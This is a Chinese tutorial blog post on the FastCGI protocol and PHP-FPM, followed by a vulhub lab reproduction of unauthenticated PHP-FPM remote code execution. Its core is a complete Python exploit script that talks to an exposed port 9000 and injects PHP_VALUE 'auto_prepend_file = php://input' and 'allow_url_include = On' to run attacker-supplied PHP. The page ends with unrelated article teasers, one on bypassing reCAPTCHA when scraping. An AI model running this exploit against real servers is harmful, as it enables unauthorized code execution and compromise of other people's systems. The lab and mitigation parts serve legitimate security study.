利用Fastcgi+PHP-FPM非授权访问实现代码执行

目录

Fastcgi Record

Fastcgi Type

PHP-FPM(FastCGI进程管理器)

Nginx(IIS7)解析漏洞

security.limit_extensions配置

漏洞演示


今天要和大家分享的是利用Fastcgi和PHP_FPM实现未授权访问实现代码执行,首先我们需要知道cgi、fastcgi和php-fpm这些都是什么。

什么是CGI

  • CGI全称是“公共网关接口”(Common Gateway Interface),HTTP服务器与你的或其它机器上的程序进行“交谈”的一种工具,其程序须运行在网络服务器上。
  • CGI可以用任何一种语言编写,只要这种语言具有标准输入、输出和环境变量。如php,perl,tcl等

什么是FastCGI

  • FastCGI像是一个常驻(long-live)型的CGI,它可以一直执行着,只要激活后,不会每次都要花费时间去fork一次(这是CGI最为人诟病的fork-and-execute 模式)。它还支持分布式的运算, 即 FastCGI 程序可以在网站服务器以外的主机上执行并且接受来自其它网站服务器来的请求。
  • FastCGI是语言无关的、可伸缩架构的CGI开放扩展,其主要行为是将CGI解释器进程保持在内存中并因此获得较高的性能。众所周知,CGI解释器的反复加载是CGI性能低下的主要原因,如果CGI解释器保持在内存中并接受FastCGI进程管理器调度,则可以提供良好的性能、伸缩性、Fail- Over特性等等。

什么是PHP-FPM

  • PHP-FPM是一个PHP FastCGI管理器,是只用于PHP的,可以在 http://php-fpm.org/download下载得到。
  • PHP-FPM其实是PHP源代码的一个补丁,旨在将FastCGI进程管理整合进PHP包中。必须将它patch到你的PHP源代码中,在编译安装PHP后才可以使用。
  • 现在我们可以在最新的PHP 5.3.2的源码树里下载得到直接整合了PHP-FPM的分支,据说下个版本会融合进PHP的主分支去。相对Spawn-FCGI,PHP-FPM在CPU和内存方面的控制都更胜一筹,而且前者很容易崩溃,必须用crontab进行监控,而PHP-FPM则没有这种烦恼。
  • PHP5.3.3已经集成php-fpm了,不再是第三方的包了。PHP-FPM提供了更好的PHP进程管理方式,可以有效控制内存和进程、可以平滑重载PHP配置,比spawn-fcgi具有更多有点,所以被PHP官方收录了。在./configure的时候带 –enable-fpm参数即可开启PHP-FPM。

Fastcgi Record

Fastcgi其实是一个通信协议,和HTTP协议一样,都是进行数据交换的一个通道。

HTTP协议是浏览器和服务器中间件进行数据交换的协议,浏览器将HTTP头和HTTP体用某个规则组装成数据包,以TCP的方式发送到服务器中间件,服务器中间件按照规则将数据包解码,并按要求拿到用户需要的数据,再以HTTP协议的规则打包返回给服务器。

类比HTTP协议来说,fastcgi协议则是服务器中间件和某个语言后端进行数据交换的协议。

Fastcgi协议由多个record组成,record也有header和body一说,服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端,语言后端解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件。

和HTTP头不同,record的头固定8个字节,body是由头中的contentLength指定,其结构如下:

typedef struct {
  /* Header */
  unsigned char version; // 版本
  unsigned char type; // 本次record的类型
  unsigned char requestIdB1; // 本次record对应的请求id
  unsigned char requestIdB0;
  unsigned char contentLengthB1; // body体的大小
  unsigned char contentLengthB0;
  unsigned char paddingLength; // 额外块大小
  unsigned char reserved; 
 
  /* Body */
  unsigned char contentData[contentLength];
  unsigned char paddingData[paddingLength];
} FCGI_Record;

头由8个uchar类型的变量组成,每个变量1字节。

其中,requestId占两个字节,一个唯一的标志id,以避免多个请求之间的影响;

contentLength占两个字节,表示body的大小。

语言端解析了fastcgi头以后,拿到contentLength,然后再在TCP流里读取大小等于contentLength的数据,这就是body体。

Body后面还有一段额外的数据(Padding),其长度由头中的paddingLength指定,起保留作用。

不需要该Padding的时候,将其长度设置为0即可。

可见,一个fastcgi record结构最大支持的body大小是2^16,也就是65536字节。

Fastcgi Type

type就是指定该record的作用。因为fastcgi一个record的大小是有限的,作用也是单一的,所以我们需要在一个TCP流里传输多个record。

通过type来标志每个record的作用,用requestId作为同一次请求的id。

也就是说,每次请求,会有多个record,他们的requestId是相同的。

最主要的几种type

 根据这个表格可以看出服务器中间件和后端语言通信,第一个数据包就是type为1的record,后续互相交流,发送type为4、5、6、7的record,结束时发送type为2、3的record。

当后端语言接收到一个type为4的record后,就会把这个record的body按照对应的结构解析成key-value对,这就是环境变量。

环境变量的结构如下:

typedef struct {
  unsigned char nameLengthB0;  /* nameLengthB0  >> 7 == 0 */
  unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
  unsigned char nameData[nameLength];
  unsigned char valueData[valueLength];
} FCGI_NameValuePair11;
 
typedef struct {
  unsigned char nameLengthB0;  /* nameLengthB0  >> 7 == 0 */
  unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
  unsigned char valueLengthB2;
  unsigned char valueLengthB1;
  unsigned char valueLengthB0;
  unsigned char nameData[nameLength];
  unsigned char valueData[valueLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair14;
 
typedef struct {
  unsigned char nameLengthB3;  /* nameLengthB3  >> 7 == 1 */
  unsigned char nameLengthB2;
  unsigned char nameLengthB1;
  unsigned char nameLengthB0;
  unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
  unsigned char nameData[nameLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
  unsigned char valueData[valueLength];
} FCGI_NameValuePair41;
 
typedef struct {
  unsigned char nameLengthB3;  /* nameLengthB3  >> 7 == 1 */
  unsigned char nameLengthB2;
  unsigned char nameLengthB1;
  unsigned char nameLengthB0;
  unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
  unsigned char valueLengthB2;
  unsigned char valueLengthB1;
  unsigned char valueLengthB0;
  unsigned char nameData[nameLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
  unsigned char valueData[valueLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair44;

这其实是4个结构,至于用哪个结构,有如下规则:

  1. key、value均小于128字节,用FCGI_NameValuePair11

  2. key大于128字节,value小于128字节,用FCGI_NameValuePair41

  3. key小于128字节,value大于128字节,用FCGI_NameValuePair14

  4. key、value均大于128字节,用FCGI_NameValuePair44

为什么只介绍type为4的record?

因为环境变量在后面PHP-FPM里有重要作用,之后写代码也会写到这个结构。

PHP-FPM(FastCGI进程管理器)

FPM其实是一个fastcgi协议解析器,Nginx等服务器中间件将用户请求按照fastcgi的规则打包好通过TCP传给谁?其实就是传给FPM。

FPM按照fastcgi的协议将TCP流解析成真正的数据。

举个例子,用户访问http://127.0.0.1/index.php?a=1&b=2,如果web目录是/var/www/html,那么Nginx会将这个请求变成如下key-value对:

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
}

这个数组其实就是PHP中$_SERVER数组的一部分,也就是PHP里的环境变量。

但环境变量的作用不仅是填充$_SERVER数组,也是告诉fpm:“我要执行哪个PHP文件”。

PHP-FPM拿到fastcgi的数据包后,进行解析,得到上述这些环境变量。

然后,执行SCRIPT_FILENAME的值指向的PHP文件,也就是/var/www/html/index.php

Nginx(IIS7)解析漏洞

Nginx和IIS7曾经出现过一个PHP相关的解析漏洞(测试环境https://github.com/phith0n/vulhub/tree/master/nginx_parsing_vulnerability),该漏洞现象是,在用户访问http://127.0.0.1/favicon.ico/.php时,访问到的文件是favicon.ico,但却按照.php后缀解析了。

用户请求http://127.0.0.1/favicon.ico/.php,nginx将会发送如下环境变量到fpm里:

{
    ...
    'SCRIPT_FILENAME': '/var/www/html/favicon.ico/.php',
    'SCRIPT_NAME': '/favicon.ico/.php',
    'REQUEST_URI': '/favicon.ico/.php',
    'DOCUMENT_ROOT': '/var/www/html',
    ...
}

正常来说,SCRIPT_FILENAME的值是一个不存在的文件/var/www/html/favicon.ico/.php是PHP设置中的一个选项fix_pathinfo导致了这个漏洞。

该漏洞产生的原因:

PHP为了支持Path Info模式而创造了fix_pathinfo,在这个选项被打开的情况下,fpm会判断SCRIPT_FILENAME是否存在,如果不存在则去掉最后一个/及以后的所有内容,再次判断文件是否存在,往次循环,直到文件存在。

所以,第一次fpm发现/var/www/html/favicon.ico/.php不存在,则去掉/.php,再判断/var/www/html/favicon.ico是否存在。显然这个文件是存在的,于是被作为PHP文件执行,导致解析漏洞。

正确的解决方法有两种:

一是在Nginx端使用fastcgi_split_path_info将path info信息去除后,用tryfiles判断文件是否存在;

二是借助PHP-FPM的security.limit_extensions配置项,避免其他后缀文件被解析。

security.limit_extensions配置

到这里,PHP-FPM未授权访问漏洞也就呼之欲出了。

PHP-FPM默认监听9000端口,如果这个端口暴露在公网,则我们可以自己构造fastcgi协议,和fpm进行通信。

此时,SCRIPT_FILENAME的值就格外重要了。

因为fpm是根据这个值来执行php文件的,如果这个文件不存在,fpm会直接返回404:

我们可以直接使用别人写好的一个python脚本来进行访问,可以看懂结果与所想的是一样的

在fpm某个版本之前,我们可以将SCRIPT_FILENAME的值指定为任意后缀文件,比如/etc/passwd

但后来,fpm的默认配置中增加了一个选项security.limit_extensions

; Limits the extensions of the main script FPM will allow to parse. This can
; prevent configuration mistakes on the web server side. You should only limit
; FPM to .php extensions to prevent malicious users to use other extensions to
; exectute php code.
; Note: set an empty value to allow all extensions.
; Default Value: .php
;security.limit_extensions = .php .php3 .php4 .php5 .php7

其限定了只有某些后缀的文件允许被fpm执行,默认是.php

所以,当我们再传入/etc/passwd的时候,将会返回Access denied.

ps. 这个配置也会影响Nginx解析漏洞,我觉得应该是因为Nginx当时那个解析漏洞,促成PHP-FPM增加了这个安全选项。

另外,也有少部分发行版安装中security.limit_extensions默认为空,此时就没有任何限制了。

由于这个配置项的限制,如果想利用PHP-FPM的未授权访问漏洞,首先就得找到一个已存在的PHP文件。

万幸的是,通常使用源安装php的时候,服务器上都会附带一些php后缀的文件,我们使用find / -name "*.php"来全局搜索一下默认环境:

找到了不少。

这就给我们提供了一条思路,假设我们爆破不出来目标环境的web目录,我们可以找找默认源安装后可能存在的php文件,比如/usr/local/lib/php/PEAR.php

漏洞演示:

(1)环境搭建

首先我们需要下载该漏洞的docker环境文件

下载地址:

https://github.com/vulhub/vulhub/archive/master.zip

然后需要利用的源码文件:

import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])


def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)


def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')


def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
              + bchr(fcgi_type) \
              + bchr((requestid >> 8) & 0xFF) \
              + bchr(requestid & 0xFF) \
              + bchr((length >> 8) & 0xFF) \
              + bchr(length & 0xFF) \
              + bchr(0) \
              + bchr(0) \
              + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''

            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)
    print(force_text(response))

将下载完成的文件进行解压,然后进入到/root/vulhub-master/php/fpm文件夹中,就可以看到dockerfile文件,然后将上面的fpm.py文件也上传到该目录中,方便测试,确保docker运行的前提下,下面就是使用docker-compose 来拉取环境:

docker-compose up -d

注:如果遇到报错有可能是主机的php-fpm与docker中的php-fpm起冲突了

解决方案:将主机中的php-fpm进程关闭

 查看
 ps -aux |grep fpm
 关闭:
 kill -9 1096 1170 1171 1173 1176 1177 1963

关闭后,再次拉去环境,然后就可以正常拉取到,可以使用ps命令查看一下

可以看到这里的docker容器已经启动起来了,并且ports是0.0.0.0:9000,这正是我们需要复现漏洞的一个很重要的前提就是它将监听的ip地址设置为了0.0.0.0,任意的ip地址都可以进行访问,也就是未授权访问

(2)现在根据上面的提示我们来看看这个docker容器中的配置

进入到容器中:

docker exec -it ea045d3f0e0c /bin/bash

查看一下配置文件:

vim /usr/local/etc/php-fpm.d/www.conf

可以看到这里限制的扩展名,但是并没有启用,说明只支持.php扩展名

可以看到这里设置的监听的端口是127.0.0.1:9000,但是其实对外还是0.0.0.0:9000

(3)现在我们就需要想办法来进行利用这个未授权访问的漏洞了

由于这个配置项的限制,如果想利用PHP-FPM的未授权访问漏洞,首先就得找到一个已存在的PHP文件。

在下载php时会自动下载一些php文件,因此我们可以找一个系统自带的文件来利用

我们使用find / -name "*.php"来全局搜索一下默认环境: 

发现有很多的php文件,我就选择下面这个文件吧

(4)实现任意代码执行

那么,为什么我们控制fastcgi协议通信的内容,就能执行任意PHP代码呢?

理论上当然是不可以的,即使我们能控制SCRIPT_FILENAME,让fpm执行任意文件,也只是执行目标服务器上的文件,并不能执行我们需要其执行的文件。

但PHP是一门强大的语言,PHP.INI中有两个有趣的配置项:

auto_prepend_file在执行目标文件前自动去包含它指定的文件)和auto_append_file(在执行目标文件后自动去包含它指定的文件)。

auto_prepend_file是告诉PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件;

auto_append_file是告诉PHP,在执行完成目标文件后,包含auto_append_file指向的文件。

那么就有趣了,假设我们设置auto_prepend_filephp://input,那么就等于在执行任何php文件前都要包含一遍POST的内容。所以,我们只需要把待执行的代码放在Body中,他们就能被执行了。(当然,还需要开启远程文件包含选项allow_url_include

注:php://input:可以接受POST数据,但是前提是

all_url_fopen:OFF/ON

all_url_include:ON

那么,我们怎么设置auto_prepend_file的值?

这又涉及到PHP-FPM的两个环境变量:

PHP_VALUEPHP_ADMIN_VALUE

这两个环境变量就是用来设置PHP配置项的PHP_VALUE可以设置模式为PHP_INI_USERPHP_INI_ALL的选项,PHP_ADMIN_VALUE可以设置所有选项。

disable_functions除外,这个选项是PHP加载的时候就确定了,在范围内的函数直接不会被加载到PHP上下文中)

所以,我们在脚本的最后传入如下环境变量:

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
    'PHP_VALUE': 'auto_prepend_file = php://input'
     PHP_ADMIN_VALUE': 'allow_url_include = On'
    注:有了这里可以通过POST上传.php文件
}

在fpm.py这个脚本中我们可以设置auto_prepend_file = php://inputallow_url_include = On,然后将我们需要执行的代码放在Body中,即可执行任意代码。

可以看到,确实进行了代码执行 

参考链接:

Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写 | 离别歌

什么是CGI、FastCGI、PHP-CGI、PHP-FPM-腾讯云开发者社区-腾讯云 (tencent.com)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/294477.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

goland ide中项目结构不对的解决办法

在 GoLand IDE 中&#xff0c;项目名称的重命名通常是通过更改项目的根目录名称来实现的。但是&#xff0c;更改项目根目录的名称不会自动更新顶部导航栏中的项目名称。 想要更新顶部显示的名称&#xff0c;需要关闭当前项目&#xff0c;重新打开重命名后的目录文件&#xff0…

一个古老的终端显示控制命令-tput命令|帮你解决中英文混合时终端列对齐输出问题

终端显示控制对于写一个 终端脚本 是非常有用的&#xff0c;在没有图形界面时Unix和类Unix系统用户都是在Terminal控制终端下工作的。虽然Linux操作系统的图形界面出现淡化了终端显示控制&#xff0c;但终端控制功能依旧是每个命令行用户不可或缺的一部分。只是我们不知道在使用…

智能视频监控技术在旅游业中如何发挥最大作用,助力旅游业发展

随着“南方小土豆勇闯哈尔滨”的词条霸榜热搜&#xff0c;大众旅游热情再次点燃。最近哈尔滨游客爆满的情况&#xff0c;极易发生游客迷路、景区瘫痪、交通堵塞等情况&#xff0c;当地有关部门的压力不言而喻。对于节假日或者“破天富贵”、“报复性旅游”的情况&#xff0c;景…

书生·浦语大模型实战1

书生浦语大模型全链路开源体系 视频链接&#xff1a;书生浦语大模型全链路开源体系_哔哩哔哩_bilibili 大模型之所以能收到这么高的关注度&#xff0c;一个重要原因是大模型是发展通用人工智能的重要途径 深度信念网络&#xff1a; &#xff08;1&#xff09;又被称为贝叶斯网…

数据库基本知识2

目录 为保证数据库是可恢复的&#xff0c;登记日志文件时 排他锁 并发操作带来的数据不一致性 数据模型的三要素 数据独立性 为保证数据库是可恢复的&#xff0c;登记日志文件时 为保证数据库是可恢复的&#xff0c;登记日志文件时必须遵循两条原则&#xff1a; 1. 登记的…

nginx编译时添加额外第三方模块

比如要添加第三方流量监控模块nginx-module-vts 1、官网 官网 Releases vozlt/nginx-module-vts GitHubNginx virtual host traffic status module. Contribute to vozlt/nginx-module-vts development by creating an account on GitHub.https://github.com/vozlt/nginx-mo…

如何使用 Python 解决网络抓取中的 reCAPTCHA 问题

在网络抓取的领域&#xff0c;开发人员经常面临 reCAPTCHA 的障碍。为了区分人类和自动化机器人&#xff0c;reCAPTCHA 可能会成为那些试图从网站提取数据的人的沉痛阻碍。然而&#xff0c;借助 Python 和像 Capsolver 这样的工具&#xff0c;可以绕过 reCAPTCHA 并继续抓取有价…

又一券商被点名,网络安全问题不容忽视

12月25日&#xff0c;黑龙江证监局发布公告表示&#xff0c;江海证券存在关于IT治理、网络安全管理的内部决策、执行机制不健全&#xff1b;公司App个人信息保护合规性检测不充分&#xff0c;App强制、频繁、过度索取权限等问题。因此&#xff0c;黑龙江证监局决定对江海证券采…

java数据结构与算法刷题-----LeetCode509. 斐波那契数

java数据结构与算法刷题目录&#xff08;剑指Offer、LeetCode、ACM&#xff09;-----主目录-----持续更新(进不去说明我没写完)&#xff1a;https://blog.csdn.net/grd_java/article/details/123063846 很多人觉得动态规划很难&#xff0c;但它就是固定套路而已。其实动态规划只…

2024年华为hcie方向有哪些?hcie 考点在哪里?

华为作为全球领先的ICT解决方案供应商&#xff0c;其认证体系在业内具有极高的权威性和认可度。其中&#xff0c;华为认证体系中的最高级别认证——HCIE&#xff0c;已经成为无数技术爱好者追求的目标。下面将探讨华为HCIE的方向及其考点&#xff0c;希望能对那些有志于获取HCI…

数字IC后端实现之Innovus TA-152错误解析(分频generated clock定义错误)

**ERROR: (TA-152): A latency path from the ‘Fall’ edge of the master clock at source pin… Error Code TA-152 在数字IC后端实现innovus中我们经常会看到这类Error&#xff0c;具体信息如下所示。 Error Message **ERROR: (TA-152): A latency path from the ‘Fa…

【第6期】使用Iview的Select组件进行远程搜索并在编辑时设置一个或多个默认值

本期简介 下拉框这个组件用的地方非常多&#xff0c;普通用法就是将数据列表一次性查询渲染&#xff0c;在列表里面直接本地搜索&#xff0c;优点是可缓存、速度快&#xff0c;但在某些场合并不适用&#xff0c;比如要在下拉框中选择一所中国的学校&#xff0c;幼儿园/小学/初…

[AutoSar]DaVinci Developer 命名规范

目录 关键词平台说明一、背景二、Component命名约定2.1Component Type Composition&#xff08;CtCo&#xff09;2.2Component Type Application&#xff08; CtAp&#xff09;2.3Component Type SensorActuator&#xff08;CtSa&#xff09;2.4Component Type Complex Driver&…

ThreadPoolExecutor中的keepAliveTime详解

一.keepAliveTime的概念&#xff1a; keepAliveTime的单位是纳秒&#xff0c;即1s1000000000ns&#xff0c;1秒等于10亿纳秒。 keepAliveTime是线程池中空闲线程等待工作的超时时间。 当线程池中线程数量大于corePoolSize&#xff08;核心线程数量&#xff09;或设置了allowCor…

【自学笔记】01Java基础-07面向对象基础-01封装

记录学习Java基础中有关面向对象编程的基础知识&#xff0c;包括面向对象思想&#xff0c;构造方法&#xff0c;封装思想&#xff0c;JavaBean。 1 面向对象概述 1.1 什么是面向对象编程 严谨来说&#xff1a;   面向对象编程&#xff08;Object-Oriented Programming&…

SpringBoot Redis入门(一)——redis、Lettuce、Redisson使用

本章&#xff1a;将展示SpringBoot集成Redis三种客户端的配置要点和常见应用示例&#xff1b;下章&#xff1a;自行实现一个方法级的缓存注解&#xff0c;简化版的Cacheable&#xff0c;使初学者加深对Spring缓存框架的理解。 一、Lettuce客户端 Lettuce 是一种可扩展的、线程…

lf 的年终总结(2023)

这一年&#xff0c; 我没有进行总结&#xff0c; 只有年终的回顾。 是的&#xff0c; 我又长了一岁&#xff0c; 同时也度过了三年的开发经历&#xff0c; 即将进入五年 Android 开发的阶段。 我只希望在新的一年里能够好好学习&#xff0c;期待有所提升。 回顾过去的生活&…

FAST-LIO2:论文和算法解析

文章目录 摘要一、简介二、相关工作2.1雷达惯导里程计2.2 建图过程中的动态数据结构 三、系统架构四、状态估计A. 卡尔曼模型1.状态转换模型2.测量模型 B.迭代卡尔曼滤波1. 预测过程2. 残差计算3.迭代更新 五、建图A.地图管理B.树的结构与创建1.数据结构2.ikd树的创建 C.地图的…

给Flutter + FireBase 增加 badge 徽章,App启动器 通知红点。

在此之前需要配置好 firebase 在flutter 在项目中。&#xff08;已经配置好的可以忽略此提示&#xff09; Firebase 配置教程&#xff1a;flutter firebase 云消息通知教程 (android-安卓、ios-苹果)_flutter firebase_messaging ios环境配置-CSDN博客 由于firebase 提供的消息…

ThreadLocal 是什么?它的实现原理呢?

一个工作了 4 年的小伙伴&#xff0c;又私信了我一个并发编程里面的问题。 他说他要抓狂了&#xff0c;每天 CRUD&#xff0c;也没用到过 ThreadLocal 啊&#xff0c;怎么就不能问我怎么写CRUD 呢&#xff1f; 我反问他如果只问你项目和业务&#xff0c;那有些 4 年的小伙伴他…